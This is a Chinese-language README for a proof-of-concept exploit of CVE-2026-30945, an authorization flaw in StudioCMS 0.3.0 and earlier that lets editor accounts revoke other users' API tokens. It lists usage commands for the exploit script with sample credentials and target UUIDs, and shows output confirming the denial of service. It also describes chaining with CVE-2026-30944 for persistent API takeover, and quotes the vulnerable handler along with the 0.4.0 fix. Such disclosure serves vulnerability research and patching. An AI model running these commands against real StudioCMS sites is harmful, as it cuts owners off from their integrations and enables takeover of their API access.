StudioCMS IDOR — 任意 API 令牌撤销导致拒绝服务
StudioCMS ≤ 0.3.0 中的 DELETE /studiocms_api/dashboard/api-tokens 端点允许任何具有 editor 或更高级别权限的已认证用户撤销任何其他用户(包括 admin 和 owner 账户)的 API 令牌。
该处理程序直接从请求负载中接受 tokenID 和 userID,而不验证令牌所有权、调用者身份或角色层级。这使得针对关键集成和自动化系统的定向拒绝服务成为可能。
相关说明: 此漏洞与 CVE-2026-30944(令牌生成 IDOR)具有相同的根本原因。当两者串联利用时,攻击者可以撤销合法令牌并生成新令牌,实现 API 凭据的完全接管。
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ 攻击者 │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ 服务器 │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ 所有者的 │
│ CI/CD │
│ 流水线 │──► ❌ 401 未授权
│ 集成 │──► ❌ API 访问丢失
│ 监控 │──► ❌ 静默失败
└──────────────┘
| 文件 | 描述 |
|---|---|
cve_2026_30945_poc.py | Python 利用脚本,支持手动和自动模式 |
README.md | 本文件 |
LICENSE | MIT 许可证 |
Editor 账户的有效凭据pip install requests colorama
# 撤销属于所有者的特定令牌
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# 与 CVE-2026-30944 串联:先为目标创建令牌
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 将结果保存为 JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# 使用多个角色进行测试
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| 参数 | 描述 |
|---|---|
-u, --url | 目标 StudioCMS 基础 URL |
--target-uuid | 目标用户 UUID,其令牌将被撤销 |
| 参数 | 描述 |
|---|---|
--token-id | 要撤销的内部令牌记录 UUID(非 JWT)。如果省略,脚本将尝试先通过 CVE-2026-30944 创建令牌 |
| 参数 | 描述 |
|---|---|
--username | 用于认证的用户名 |
--password | 用于认证的密码 |
| 参数 | 描述 |
|---|---|
--save | 将结果保存为 JSON 文件 |
--no-ssl-verify | 禁用 SSL 证书验证 |
──────────────────────────────────────────────────────────
阶段 1:认证
──────────────────────────────────────────────────────────
[+] 已以 'editor01' 身份认证
[*] 会话用户:editor01 (editor)
[*] 会话 UUID:39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
阶段 3:令牌撤销(IDOR)
──────────────────────────────────────────────────────────
[*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 令牌 ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] 正在撤销目标的 API 令牌...
[+] 令牌已撤销!服务器响应:Token deleted
[!] 漏洞已确认 — 令牌成功撤销!
[!] 目标用户的 API 集成现已中断(DoS)
──────────────────────────────────────────────────────────
阶段 3:令牌撤销(IDOR)
──────────────────────────────────────────────────────────
[*] 目标 UUID:2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 令牌 ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] 正在撤销目标的 API 令牌...
[*] 访问被拒绝(403 禁止)— 端点可能已修复
[-] 撤销失败:访问被拒绝(403 禁止)
当与令牌生成 IDOR(CVE-2026-30944)结合使用时,攻击者可以完成 API 凭据的完全接管:
步骤 1:撤销所有者的合法令牌 (CVE-2026-30945)
└──► 所有者的 CI/CD 流水线静默中断
步骤 2:为所有者生成新令牌 (CVE-2026-30944)
└──► 攻击者现在拥有所有者级别的 API 访问权限
步骤 3:所有者创建新令牌进行修复
└──► 攻击者再次撤销(持续性 DoS)
这造成了一种场景:攻击者持续控制所有者的 API 访问权限,反复撤销所有者创建的任何新令牌,同时保持自己的非法访问权限。
位于 packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(第 58–99 行)的漏洞处理程序从请求体中接受 tokenID 和 userID,并将其直接传递给删除函数,没有任何授权检查:
// [1] 仅检查调用者是否为 editor — 不检查他们为谁删除令牌
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 两个值均来自请求体 — 未与会话进行验证
const jsonData = yield* readAPIContextJson<{
tokenID: string; // 无所有权检查
userID: string; // 无身份检查
}>(ctx);
// [3] 直接传递给破坏性操作 — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
该处理程序存在五个不同的缺陷:权限门槛不足、无令牌所有权验证、缺少调用者身份检查、无角色层级强制,以及将用户控制的值直接传递给破坏性操作。
将 StudioCMS 更新至 0.4.0 或更高版本:
npm install studiocms@latest
本工具仅用于教育和授权安全测试目的。
Filipe Gaudard
本 PoC 根据 MIT 许可证 发布,仅供教育目的使用。请负责任且合乎道德地使用。
| 字段 | 值 |
|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1(高危)— AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639:通过用户控制的密钥绕过授权 |
| CWE(次要) | CWE-863:不正确的授权 |
| MITRE ATT&CK | T1531 — 账户访问移除 |
| OWASP API | API1:2023 — 对象级授权失效 |
| 受影响版本 | studiocms ≤ 0.3.0 |
| 修复版本 | studiocms 0.4.0 |
| 参数 | 描述 |
|---|
--auto-test | 启用自动化多角色测试 |
--editor-user | Editor 账户用户名 |
--editor-pass | Editor 账户密码 |
--visitor-user | Visitor 账户用户名 |
--visitor-pass | Visitor 账户密码 |